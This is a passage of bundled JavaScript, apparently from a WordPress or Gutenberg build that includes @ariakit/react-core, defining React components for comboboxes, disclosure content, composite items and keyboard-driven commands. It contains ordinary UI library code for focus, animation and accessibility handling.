39495 props = usePopoverAnchor(_3YLGPPWQ_spreadValues({ store }, props));
39496 return _3YLGPPWQ_spreadValues({ autoComplete: "off" }, props);
39497 }
39498);
39499var Combobox = forwardRef2(function Combobox2(props) {
39500 const htmlProps = useCombobox(props);
39501 return createElement(combobox_TagName, htmlProps);
39502});
39503
39504
39505;// ./node_modules/@ariakit/react-core/esm/__chunks/VGCJ63VH.js
39506"use client";
39507
39508
39509
39510
39511
39512
39513
39514// src/disclosure/disclosure-content.tsx
39515
39516
39517
39518
39519var VGCJ63VH_TagName = "div";
39520function afterTimeout(timeoutMs, cb) {
39521 const timeoutId = setTimeout(cb, timeoutMs);
39522 return () => clearTimeout(timeoutId);
39523}
39524function VGCJ63VH_afterPaint(cb) {
39525 let raf = requestAnimationFrame(() => {
39526 raf = requestAnimationFrame(cb);
39527 });
39528 return () => cancelAnimationFrame(raf);
39529}
39530function parseCSSTime(...times) {
39531 return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
39532 const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
39533 const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
39534 if (currentTime > longestTime) return currentTime;
39535 return longestTime;
39536 }, 0);
39537}
39538function isHidden(mounted, hidden, alwaysVisible) {
39539 return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
39540}
39541var useDisclosureContent = createHook(function useDisclosureContent2(_a) {
39542 var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
39543 const context = useDisclosureProviderContext();
39544 store = store || context;
39545 invariant(
39546 store,
39547 false && 0
39548 );
39549 const ref = (0,external_React_.useRef)(null);
39550 const id = useId(props.id);
39551 const [transition, setTransition] = (0,external_React_.useState)(null);
39552 const open = store.useState("open");
39553 const mounted = store.useState("mounted");
39554 const animated = store.useState("animated");
39555 const contentElement = store.useState("contentElement");
39556 const otherElement = useStoreState(store.disclosure, "contentElement");
39557 useSafeLayoutEffect(() => {
39558 if (!ref.current) return;
39559 store == null ? void 0 : store.setContentElement(ref.current);
39560 }, [store]);
39561 useSafeLayoutEffect(() => {
39562 let previousAnimated;
39563 store == null ? void 0 : store.setState("animated", (animated2) => {
39564 previousAnimated = animated2;
39565 return true;
39566 });
39567 return () => {
39568 if (previousAnimated === void 0) return;
39569 store == null ? void 0 : store.setState("animated", previousAnimated);
39570 };
39571 }, [store]);
39572 useSafeLayoutEffect(() => {
39573 if (!animated) return;
39574 if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
39575 setTransition(null);
39576 return;
39577 }
39578 return VGCJ63VH_afterPaint(() => {
39579 setTransition(open ? "enter" : mounted ? "leave" : null);
39580 });
39581 }, [animated, contentElement, open, mounted]);
39582 useSafeLayoutEffect(() => {
39583 if (!store) return;
39584 if (!animated) return;
39585 if (!transition) return;
39586 if (!contentElement) return;
39587 const stopAnimation = () => store == null ? void 0 : store.setState("animating", false);
39588 const stopAnimationSync = () => (0,external_ReactDOM_namespaceObject.flushSync)(stopAnimation);
39589 if (transition === "leave" && open) return;
39590 if (transition === "enter" && !open) return;
39591 if (typeof animated === "number") {
39592 const timeout2 = animated;
39593 return afterTimeout(timeout2, stopAnimationSync);
39594 }
39595 const {
39596 transitionDuration,
39597 animationDuration,
39598 transitionDelay,
39599 animationDelay
39600 } = getComputedStyle(contentElement);
39601 const {
39602 transitionDuration: transitionDuration2 = "0",
39603 animationDuration: animationDuration2 = "0",
39604 transitionDelay: transitionDelay2 = "0",
39605 animationDelay: animationDelay2 = "0"
39606 } = otherElement ? getComputedStyle(otherElement) : {};
39607 const delay = parseCSSTime(
39608 transitionDelay,
39609 animationDelay,
39610 transitionDelay2,
39611 animationDelay2
39612 );
39613 const duration = parseCSSTime(
39614 transitionDuration,
39615 animationDuration,
39616 transitionDuration2,
39617 animationDuration2
39618 );
39619 const timeout = delay + duration;
39620 if (!timeout) {
39621 if (transition === "enter") {
39622 store.setState("animated", false);
39623 }
39624 stopAnimation();
39625 return;
39626 }
39627 const frameRate = 1e3 / 60;
39628 const maxTimeout = Math.max(timeout - frameRate, 0);
39629 return afterTimeout(maxTimeout, stopAnimationSync);
39630 }, [store, animated, contentElement, otherElement, open, transition]);
39631 props = useWrapElement(
39632 props,
39633 (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DialogScopedContextProvider, { value: store, children: element }),
39634 [store]
39635 );
39636 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
39637 const styleProp = props.style;
39638 const style = (0,external_React_.useMemo)(() => {
39639 if (hidden) {
39640 return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, styleProp), { display: "none" });
39641 }
39642 return styleProp;
39643 }, [hidden, styleProp]);
39644 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
39645 id,
39646 "data-open": open || void 0,
39647 "data-enter": transition === "enter" || void 0,
39648 "data-leave": transition === "leave" || void 0,
39649 hidden
39650 }, props), {
39651 ref: useMergeRefs(id ? store.setContentElement : null, ref, props.ref),
39652 style
39653 });
39654 return removeUndefinedValues(props);
39655});
39656var DisclosureContentImpl = forwardRef2(function DisclosureContentImpl2(props) {
39657 const htmlProps = useDisclosureContent(props);
39658 return createElement(VGCJ63VH_TagName, htmlProps);
39659});
39660var DisclosureContent = forwardRef2(function DisclosureContent2(_a) {
39661 var _b = _a, {
39662 unmountOnHide
39663 } = _b, props = __objRest(_b, [
39664 "unmountOnHide"
39665 ]);
39666 const context = useDisclosureProviderContext();
39667 const store = props.store || context;
39668 const mounted = useStoreState(
39669 store,
39670 (state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
39671 );
39672 if (mounted === false) return null;
39673 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DisclosureContentImpl, _3YLGPPWQ_spreadValues({}, props));
39674});
39675
39676
39677
39678;// ./node_modules/@ariakit/react-core/esm/__chunks/HUWAI7RB.js
39679"use client";
39680
39681
39682
39683
39684
39685
39686// src/combobox/combobox-list.tsx
39687
39688
39689
39690var HUWAI7RB_TagName = "div";
39691var useComboboxList = createHook(
39692 function useComboboxList2(_a) {
39693 var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
39694 const scopedContext = useComboboxScopedContext(true);
39695 const context = useComboboxContext();
39696 store = store || context;
39697 const scopedContextSameStore = !!store && store === scopedContext;
39698 invariant(
39699 store,
39700 false && 0
39701 );
39702 const ref = (0,external_React_.useRef)(null);
39703 const id = useId(props.id);
39704 const mounted = store.useState("mounted");
39705 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
39706 const style = hidden ? _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props.style), { display: "none" }) : props.style;
39707 const multiSelectable = store.useState(
39708 (state) => Array.isArray(state.selectedValue)
39709 );
39710 const role = useAttribute(ref, "role", props.role);
39711 const isCompositeRole = role === "listbox" || role === "tree" || role === "grid";
39712 const ariaMultiSelectable = isCompositeRole ? multiSelectable || void 0 : void 0;
39713 const [hasListboxInside, setHasListboxInside] = (0,external_React_.useState)(false);
39714 const contentElement = store.useState("contentElement");
39715 useSafeLayoutEffect(() => {
39716 if (!mounted) return;
39717 const element = ref.current;
39718 if (!element) return;
39719 if (contentElement !== element) return;
39720 const callback = () => {
39721 setHasListboxInside(!!element.querySelector("[role='listbox']"));
39722 };
39723 const observer = new MutationObserver(callback);
39724 observer.observe(element, {
39725 subtree: true,
39726 childList: true,
39727 attributeFilter: ["role"]
39728 });
39729 callback();
39730 return () => observer.disconnect();
39731 }, [mounted, contentElement]);
39732 if (!hasListboxInside) {
39733 props = _3YLGPPWQ_spreadValues({
39734 role: "listbox",
39735 "aria-multiselectable": ariaMultiSelectable
39736 }, props);
39737 }
39738 props = useWrapElement(
39739 props,
39740 (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxScopedContextProvider, { value: store, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxListRoleContext.Provider, { value: role, children: element }) }),
39741 [store, role]
39742 );
39743 const setContentElement = id && (!scopedContext || !scopedContextSameStore) ? store.setContentElement : null;
39744 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
39745 id,
39746 hidden
39747 }, props), {
39748 ref: useMergeRefs(setContentElement, ref, props.ref),
39749 style
39750 });
39751 return removeUndefinedValues(props);
39752 }
39753);
39754var ComboboxList = forwardRef2(function ComboboxList2(props) {
39755 const htmlProps = useComboboxList(props);
39756 return createElement(HUWAI7RB_TagName, htmlProps);
39757});
39758
39759
39760
39761;// ./node_modules/@ariakit/react-core/esm/__chunks/UQQRIHDV.js
39762"use client";
39763
39764
39765
39766
39767
39768// src/composite/composite-hover.tsx
39769
39770
39771
39772
39773var UQQRIHDV_TagName = "div";
39774function getMouseDestination(event) {
39775 const relatedTarget = event.relatedTarget;
39776 if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
39777 return relatedTarget;
39778 }
39779 return null;
39780}
39781function hoveringInside(event) {
39782 const nextElement = getMouseDestination(event);
39783 if (!nextElement) return false;
39784 return contains(event.currentTarget, nextElement);
39785}
39786var symbol = Symbol("composite-hover");
39787function movingToAnotherItem(event) {
39788 let dest = getMouseDestination(event);
39789 if (!dest) return false;
39790 do {
39791 if (PBFD2E7P_hasOwnProperty(dest, symbol) && dest[symbol]) return true;
39792 dest = dest.parentElement;
39793 } while (dest);
39794 return false;
39795}
39796var useCompositeHover = createHook(
39797 function useCompositeHover2(_a) {
39798 var _b = _a, {
39799 store,
39800 focusOnHover = true,
39801 blurOnHoverEnd = !!focusOnHover
39802 } = _b, props = __objRest(_b, [
39803 "store",
39804 "focusOnHover",
39805 "blurOnHoverEnd"
39806 ]);
39807 const context = useCompositeContext();
39808 store = store || context;
39809 invariant(
39810 store,
39811 false && 0
39812 );
39813 const isMouseMoving = useIsMouseMoving();
39814 const onMouseMoveProp = props.onMouseMove;
39815 const focusOnHoverProp = useBooleanEvent(focusOnHover);
39816 const onMouseMove = useEvent((event) => {
39817 onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
39818 if (event.defaultPrevented) return;
39819 if (!isMouseMoving()) return;
39820 if (!focusOnHoverProp(event)) return;
39821 if (!hasFocusWithin(event.currentTarget)) {
39822 const baseElement = store == null ? void 0 : store.getState().baseElement;
39823 if (baseElement && !hasFocus(baseElement)) {
39824 baseElement.focus();
39825 }
39826 }
39827 store == null ? void 0 : store.setActiveId(event.currentTarget.id);
39828 });
39829 const onMouseLeaveProp = props.onMouseLeave;
39830 const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
39831 const onMouseLeave = useEvent((event) => {
39832 var _a2;
39833 onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
39834 if (event.defaultPrevented) return;
39835 if (!isMouseMoving()) return;
39836 if (hoveringInside(event)) return;
39837 if (movingToAnotherItem(event)) return;
39838 if (!focusOnHoverProp(event)) return;
39839 if (!blurOnHoverEndProp(event)) return;
39840 store == null ? void 0 : store.setActiveId(null);
39841 (_a2 = store == null ? void 0 : store.getState().baseElement) == null ? void 0 : _a2.focus();
39842 });
39843 const ref = (0,external_React_.useCallback)((element) => {
39844 if (!element) return;
39845 element[symbol] = true;
39846 }, []);
39847 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
39848 ref: useMergeRefs(ref, props.ref),
39849 onMouseMove,
39850 onMouseLeave
39851 });
39852 return removeUndefinedValues(props);
39853 }
39854);
39855var CompositeHover = memo2(
39856 forwardRef2(function CompositeHover2(props) {
39857 const htmlProps = useCompositeHover(props);
39858 return createElement(UQQRIHDV_TagName, htmlProps);
39859 })
39860);
39861
39862
39863
39864;// ./node_modules/@ariakit/react-core/esm/__chunks/RZ4GPYOB.js
39865"use client";
39866
39867
39868
39869
39870
39871// src/collection/collection-item.tsx
39872
39873
39874var RZ4GPYOB_TagName = "div";
39875var useCollectionItem = createHook(
39876 function useCollectionItem2(_a) {
39877 var _b = _a, {
39878 store,
39879 shouldRegisterItem = true,
39880 getItem = identity,
39881 element: element
39882 } = _b, props = __objRest(_b, [
39883 "store",
39884 "shouldRegisterItem",
39885 "getItem",
39886 // @ts-expect-error This prop may come from a collection renderer.
39887 "element"
39888 ]);
39889 const context = useCollectionContext();
39890 store = store || context;
39891 const id = useId(props.id);
39892 const ref = (0,external_React_.useRef)(element);
39893 (0,external_React_.useEffect)(() => {
39894 const element2 = ref.current;
39895 if (!id) return;
39896 if (!element2) return;
39897 if (!shouldRegisterItem) return;
39898 const item = getItem({ id, element: element2 });
39899 return store == null ? void 0 : store.renderItem(item);
39900 }, [id, shouldRegisterItem, getItem, store]);
39901 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
39902 ref: useMergeRefs(ref, props.ref)
39903 });
39904 return removeUndefinedValues(props);
39905 }
39906);
39907var CollectionItem = forwardRef2(function CollectionItem2(props) {
39908 const htmlProps = useCollectionItem(props);
39909 return createElement(RZ4GPYOB_TagName, htmlProps);
39910});
39911
39912
39913
39914;// ./node_modules/@ariakit/react-core/esm/__chunks/KUU7WJ55.js
39915"use client";
39916
39917
39918
39919
39920
39921// src/command/command.tsx
39922
39923
39924
39925
39926
39927var KUU7WJ55_TagName = "button";
39928function isNativeClick(event) {
39929 if (!event.isTrusted) return false;
39930 const element = event.currentTarget;
39931 if (event.key === "Enter") {
39932 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
39933 }
39934 if (event.key === " ") {
39935 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
39936 }
39937 return false;
39938}
39939var KUU7WJ55_symbol = Symbol("command");
39940var useCommand = createHook(
39941 function useCommand2(_a) {
39942 var _b = _a, { clickOnEnter = true, clickOnSpace = true } = _b, props = __objRest(_b, ["clickOnEnter", "clickOnSpace"]);
39943 const ref = (0,external_React_.useRef)(null);
39944 const [isNativeButton, setIsNativeButton] = (0,external_React_.useState)(false);
39945 (0,external_React_.useEffect)(() => {
39946 if (!ref.current) return;
39947 setIsNativeButton(isButton(ref.current));
39948 }, []);
39949 const [active, setActive] = (0,external_React_.useState)(false);
39950 const activeRef = (0,external_React_.useRef)(false);
39951 const disabled = disabledFromProps(props);
39952 const [isDuplicate, metadataProps] = useMetadataProps(props, KUU7WJ55_symbol, true);
39953 const onKeyDownProp = props.onKeyDown;
39954 const onKeyDown = useEvent((event) => {
39955 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
39956 const element = event.currentTarget;
39957 if (event.defaultPrevented) return;
39958 if (isDuplicate) return;
39959 if (disabled) return;
39960 if (!isSelfTarget(event)) return;
39961 if (isTextField(element)) return;
39962 if (element.isContentEditable) return;
39963 const isEnter = clickOnEnter && event.key === "Enter";
39964 const isSpace = clickOnSpace && event.key === " ";
39965 const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
39966 const shouldPreventSpace = event.key === " " && !clickOnSpace;
39967 if (shouldPreventEnter || shouldPreventSpace) {
39968 event.preventDefault();
39969 return;
39970 }
39971 if (isEnter || isSpace) {
39972 const nativeClick = isNativeClick(event);
39973 if (isEnter) {
39974 if (!nativeClick) {
39975 event.preventDefault();
39976 const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
39977 const click = () => fireClickEvent(element, eventInit);
39978 if (isFirefox()) {
39979 queueBeforeEvent(element, "keyup", click);
39980 } else {
39981 queueMicrotask(click);
39982 }
39983 }
39984 } else if (isSpace) {
39985 activeRef.current = true;
39986 if (!nativeClick) {
39987 event.preventDefault();
39988 setActive(true);
39989 }
39990 }
39991 }
39992 });
39993 const onKeyUpProp = props.onKeyUp;
39994 const onKeyUp = useEvent((event) => {
39995 onKeyUpProp == null ? void 0 : onKeyUpProp(event);
39996 if (event.defaultPrevented) return;
39997 if (isDuplicate) return;
39998 if (disabled) return;
39999 if (event.metaKey) return;
40000 const isSpace = clickOnSpace && event.key === " ";
40001 if (activeRef.current && isSpace) {
40002 activeRef.current = false;
40003 if (!isNativeClick(event)) {
40004 event.preventDefault();
40005 setActive(false);
40006 const element = event.currentTarget;
40007 const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
40008 queueMicrotask(() => fireClickEvent(element, eventInit));
40009 }
40010 }
40011 });
40012 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({
40013 "data-active": active || void 0,
40014 type: isNativeButton ? "button" : void 0
40015 }, metadataProps), props), {
40016 ref: useMergeRefs(ref, props.ref),
40017 onKeyDown,
40018 onKeyUp
40019 });
40020 props = useFocusable(props);
40021 return props;
40022 }
40023);
40024var Command = forwardRef2(function Command2(props) {
40025 const htmlProps = useCommand(props);
40026 return createElement(KUU7WJ55_TagName, htmlProps);
40027});
40028
40029
40030
40031;// ./node_modules/@ariakit/react-core/esm/__chunks/P2CTZE2T.js
40032"use client";
40033
40034
40035
40036
40037
40038
40039
40040
40041
40042// src/composite/composite-item.tsx
40043
40044
40045
40046
40047
40048
40049var P2CTZE2T_TagName = "button";
40050function isEditableElement(element) {
40051 if (isTextbox(element)) return true;
40052 return element.tagName === "INPUT" && !isButton(element);
40053}
40054function getNextPageOffset(scrollingElement, pageUp = false) {
40055 const height = scrollingElement.clientHeight;
40056 const { top } = scrollingElement.getBoundingClientRect();
40057 const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
40058 const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
40059 if (scrollingElement.tagName === "HTML") {
40060 return pageOffset + scrollingElement.scrollTop;
40061 }
40062 return pageOffset;
40063}
40064function getItemOffset(itemElement, pageUp = false) {
40065 const { top } = itemElement.getBoundingClientRect();
40066 if (pageUp) {
40067 return top + itemElement.clientHeight;
40068 }
40069 return top;
40070}
40071function findNextPageItemId(element, store, next, pageUp = false) {
40072 var _a;
40073 if (!store) return;
40074 if (!next) return;
40075 const { renderedItems } = store.getState();
40076 const scrollingElement = getScrollingElement(element);
40077 if (!scrollingElement) return;
40078 const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
40079 let id;
40080 let prevDifference;
40081 for (let i = 0; i < renderedItems.length; i += 1) {
40082 const previousId = id;
40083 id = next(i);
40084 if (!id) break;
40085 if (id === previousId) continue;
40086 const itemElement = (_a = getEnabledItem(store, id)) == null ? void 0 : _a.element;
40087 if (!itemElement) continue;
40088 const itemOffset = getItemOffset(itemElement, pageUp);
40089 const difference = itemOffset - nextPageOffset;
40090 const absDifference = Math.abs(difference);
40091 if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
40092 if (prevDifference !== void 0 && prevDifference < absDifference) {
40093 id = previousId;
40094 }
40095 break;
40096 }
40097 prevDifference = absDifference;
40098 }
40099 return id;
40100}
40101function targetIsAnotherItem(event, store) {
40102 if (isSelfTarget(event)) return false;
40103 return isItem(store, event.target);
40104}
40105var useCompositeItem = createHook(
40106 function useCompositeItem2(_a) {
40107 var _b = _a, {
40108 store,
40109 rowId: rowIdProp,
40110 preventScrollOnKeyDown = false,
40111 moveOnKeyPress = true,
40112 tabbable = false,
40113 getItem: getItemProp,
40114 "aria-setsize": ariaSetSizeProp,
40115 "aria-posinset": ariaPosInSetProp
40116 } = _b, props = __objRest(_b, [
40117 "store",
40118 "rowId",
40119 "preventScrollOnKeyDown",
40120 "moveOnKeyPress",
40121 "tabbable",
40122 "getItem",
40123 "aria-setsize",
40124 "aria-posinset"
40125 ]);
40126 const context = useCompositeContext();
40127 store = store || context;
40128 const id = useId(props.id);
40129 const ref = (0,external_React_.useRef)(null);
40130 const row = (0,external_React_.useContext)(CompositeRowContext);
40131 const disabled = disabledFromProps(props);
40132 const trulyDisabled = disabled && !props.accessibleWhenDisabled;
40133 const {
40134 rowId,
40135 baseElement,
40136 isActiveItem,
40137 ariaSetSize,
40138 ariaPosInSet,
40139 isTabbable
40140 } = useStoreStateObject(store, {
40141 rowId(state) {
40142 if (rowIdProp) return rowIdProp;
40143 if (!state) return;
40144 if (!(row == null ? void 0 : row.baseElement)) return;
40145 if (row.baseElement !== state.baseElement) return;
40146 return row.id;
40147 },
40148 baseElement(state) {
40149 return (state == null ? void 0 : state.baseElement) || void 0;
40150 },
40151 isActiveItem(state) {
40152 return !!state && state.activeId === id;
40153 },
40154 ariaSetSize(state) {
40155 if (ariaSetSizeProp != null) return ariaSetSizeProp;
40156 if (!state) return;
40157 if (!(row == null ? void 0 : row.ariaSetSize)) return;
40158 if (row.baseElement !== state.baseElement) return;
40159 return row.ariaSetSize;
40160 },
40161 ariaPosInSet(state) {
40162 if (ariaPosInSetProp != null) return ariaPosInSetProp;
40163 if (!state) return;
40164 if (!(row == null ? void 0 : row.ariaPosInSet)) return;
40165 if (row.baseElement !== state.baseElement) return;
40166 const itemsInRow = state.renderedItems.filter(
40167 (item) => item.rowId === rowId
40168 );
40169 return row.ariaPosInSet + itemsInRow.findIndex((item) => item.id === id);
40170 },
40171 isTabbable(state) {
40172 if (!(state == null ? void 0 : state.renderedItems.length)) return true;
40173 if (state.virtualFocus) return false;
40174 if (tabbable) return true;
40175 if (state.activeId === null) return false;
40176 const item = store == null ? void 0 : store.item(state.activeId);
40177 if (item == null ? void 0 : item.disabled) return true;
40178 if (!(item == null ? void 0 : item.element)) return true;
40179 return state.activeId === id;
40180 }
40181 });
40182 const getItem = (0,external_React_.useCallback)(
40183 (item) => {
40184 var _a2;
40185 const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), {
40186 id: id || item.id,
40187 rowId,
40188 disabled: !!trulyDisabled,
40189 children: (_a2 = item.element) == null ? void 0 : _a2.textContent
40190 });
40191 if (getItemProp) {
40192 return getItemProp(nextItem);
40193 }
40194 return nextItem;
40195 },
40196 [id, rowId, trulyDisabled, getItemProp]
40197 );
40198 const onFocusProp = props.onFocus;
40199 const hasFocusedComposite = (0,external_React_.useRef)(false);
40200 const onFocus = useEvent((event) => {
40201 onFocusProp == null ? void 0 : onFocusProp(event);
40202 if (event.defaultPrevented) return;
40203 if (isPortalEvent(event)) return;
40204 if (!id) return;
40205 if (!store) return;
40206 if (targetIsAnotherItem(event, store)) return;
40207 const { virtualFocus, baseElement: baseElement2 } = store.getState();
40208 store.setActiveId(id);
40209 if (isTextbox(event.currentTarget)) {
40210 selectTextField(event.currentTarget);
40211 }
40212 if (!virtualFocus) return;
40213 if (!isSelfTarget(event)) return;
40214 if (isEditableElement(event.currentTarget)) return;
40215 if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
40216 if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
40217 event.currentTarget.scrollIntoView({
40218 block: "nearest",
40219 inline: "nearest"
40220 });
40221 }
40222 hasFocusedComposite.current = true;
40223 const fromComposite = event.relatedTarget === baseElement2 || isItem(store, event.relatedTarget);
40224 if (fromComposite) {
40225 focusSilently(baseElement2);
40226 } else {
40227 baseElement2.focus();
40228 }
40229 });
40230 const onBlurCaptureProp = props.onBlurCapture;
40231 const onBlurCapture = useEvent((event) => {
40232 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
40233 if (event.defaultPrevented) return;
40234 const state = store == null ? void 0 : store.getState();
40235 if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
40236 hasFocusedComposite.current = false;
40237 event.preventDefault();
40238 event.stopPropagation();
40239 }
40240 });
40241 const onKeyDownProp = props.onKeyDown;
40242 const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
40243 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
40244 const onKeyDown = useEvent((event) => {
40245 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
40246 if (event.defaultPrevented) return;
40247 if (!isSelfTarget(event)) return;
40248 if (!store) return;
40249 const { currentTarget } = event;
40250 const state = store.getState();
40251 const item = store.item(id);
40252 const isGrid = !!(item == null ? void 0 : item.rowId);
40253 const isVertical = state.orientation !== "horizontal";
40254 const isHorizontal = state.orientation !== "vertical";
40255 const canHomeEnd = () => {
40256 if (isGrid) return true;
40257 if (isHorizontal) return true;
40258 if (!state.baseElement) return true;
40259 if (!isTextField(state.baseElement)) return true;
40260 return false;
40261 };
40262 const keyMap = {
40263 ArrowUp: (isGrid || isVertical) && store.up,
40264 ArrowRight: (isGrid || isHorizontal) && store.next,
40265 ArrowDown: (isGrid || isVertical) && store.down,
40266 ArrowLeft: (isGrid || isHorizontal) && store.previous,
40267 Home: () => {
40268 if (!canHomeEnd()) return;
40269 if (!isGrid || event.ctrlKey) {
40270 return store == null ? void 0 : store.first();
40271 }
40272 return store == null ? void 0 : store.previous(-1);
40273 },
40274 End: () => {
40275 if (!canHomeEnd()) return;
40276 if (!isGrid || event.ctrlKey) {
40277 return store == null ? void 0 : store.last();
40278 }
40279 return store == null ? void 0 : store.next(-1);
40280 },
40281 PageUp: () => {
40282 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.up, true);
40283 },
40284 PageDown: () => {
40285 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.down);
40286 }
40287 };
40288 const action = keyMap[event.key];
40289 if (action) {
40290 if (isTextbox(currentTarget)) {
40291 const selection = getTextboxSelection(currentTarget);
40292 const isLeft = isHorizontal && event.key === "ArrowLeft";
40293 const isRight = isHorizontal && event.key === "ArrowRight";
40294 const isUp = isVertical && event.key === "ArrowUp";
40295 const isDown = isVertical && event.key === "ArrowDown";
40296 if (isRight || isDown) {
40297 const { length: valueLength } = getTextboxValue(currentTarget);
40298 if (selection.end !== valueLength) return;
40299 } else if ((isLeft || isUp) && selection.start !== 0) return;
40300 }
40301 const nextId = action();
40302 if (preventScrollOnKeyDownProp(event) || nextId !== void 0) {
40303 if (!moveOnKeyPressProp(event)) return;
40304 event.preventDefault();
40305 store.move(nextId);
40306 }
40307 }
40308 });
40309 const providerValue = (0,external_React_.useMemo)(
40310 () => ({ id, baseElement }),
40311 [id, baseElement]
40312 );
40313 props = useWrapElement(
40314 props,
40315 (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
40316 [providerValue]
40317 );
40318 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
40319 id,
40320 "data-active-item": isActiveItem || void 0
40321 }, props), {
40322 ref: useMergeRefs(ref, props.ref),
40323 tabIndex: isTabbable ? props.tabIndex : -1,
40324 onFocus,
40325 onBlurCapture,
40326 onKeyDown
40327 });
40328 props = useCommand(props);
40329 props = useCollectionItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
40330 store
40331 }, props), {
40332 getItem,
40333 shouldRegisterItem: id ? props.shouldRegisterItem : false
40334 }));
40335 return removeUndefinedValues(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
40336 "aria-setsize": ariaSetSize,
40337 "aria-posinset": ariaPosInSet
40338 }));
40339 }
40340);
40341var CompositeItem = memo2(
40342 forwardRef2(function CompositeItem2(props) {
40343 const htmlProps = useCompositeItem(props);
40344 return createElement(P2CTZE2T_TagName, htmlProps);
40345 })
40346);
40347
40348
40349
40350;// ./node_modules/@ariakit/react-core/esm/__chunks/ZTDSJLD6.js
40351"use client";
40352
40353
40354
40355
40356
40357
40358
40359
40360// src/combobox/combobox-item.tsx
40361
40362
40363
40364
40365
40366
40367var ZTDSJLD6_TagName = "div";
40368function isSelected(storeValue, itemValue) {
40369 if (itemValue == null) return;
40370 if (storeValue == null) return false;
40371 if (Array.isArray(storeValue)) {
40372 return storeValue.includes(itemValue);
40373 }
40374 return storeValue === itemValue;
40375}
40376function getItemRole(popupRole) {
40377 var _a;
40378 const itemRoleByPopupRole = {
40379 menu: "menuitem",
40380 listbox: "option",
40381 tree: "treeitem"
40382 };
40383 const key = popupRole;
40384 return (_a = itemRoleByPopupRole[key]) != null ? _a : "option";
40385}
40386var useComboboxItem = createHook(
40387 function useComboboxItem2(_a) {
40388 var _b = _a, {
40389 store,
40390 value,
40391 hideOnClick,
40392 setValueOnClick,
40393 selectValueOnClick = true,
40394 resetValueOnSelect,
40395 focusOnHover = false,
40396 moveOnKeyPress = true,
40397 getItem: getItemProp
40398 } = _b, props = __objRest(_b, [
40399 "store",
40400 "value",
40401 "hideOnClick",
40402 "setValueOnClick",
40403 "selectValueOnClick",
40404 "resetValueOnSelect",
40405 "focusOnHover",
40406 "moveOnKeyPress",
40407 "getItem"
40408 ]);
40409 var _a2;
40410 const context = useComboboxScopedContext();
40411 store = store || context;
40412 invariant(
40413 store,
40414 false && 0
40415 );
40416 const { resetValueOnSelectState, multiSelectable, selected } = useStoreStateObject(store, {
40417 resetValueOnSelectState: "resetValueOnSelect",
40418 multiSelectable(state) {
40419 return Array.isArray(state.selectedValue);
40420 },
40421 selected(state) {
40422 return isSelected(state.selectedValue, value);
40423 }
40424 });
40425 const getItem = (0,external_React_.useCallback)(
40426 (item) => {
40427 const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), { value });
40428 if (getItemProp) {
40429 return getItemProp(nextItem);
40430 }
40431 return nextItem;
40432 },
40433 [value, getItemProp]
40434 );
40435 setValueOnClick = setValueOnClick != null ? setValueOnClick : !multiSelectable;
40436 hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
40437 const onClickProp = props.onClick;
40438 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
40439 const selectValueOnClickProp = useBooleanEvent(selectValueOnClick);
40440 const resetValueOnSelectProp = useBooleanEvent(
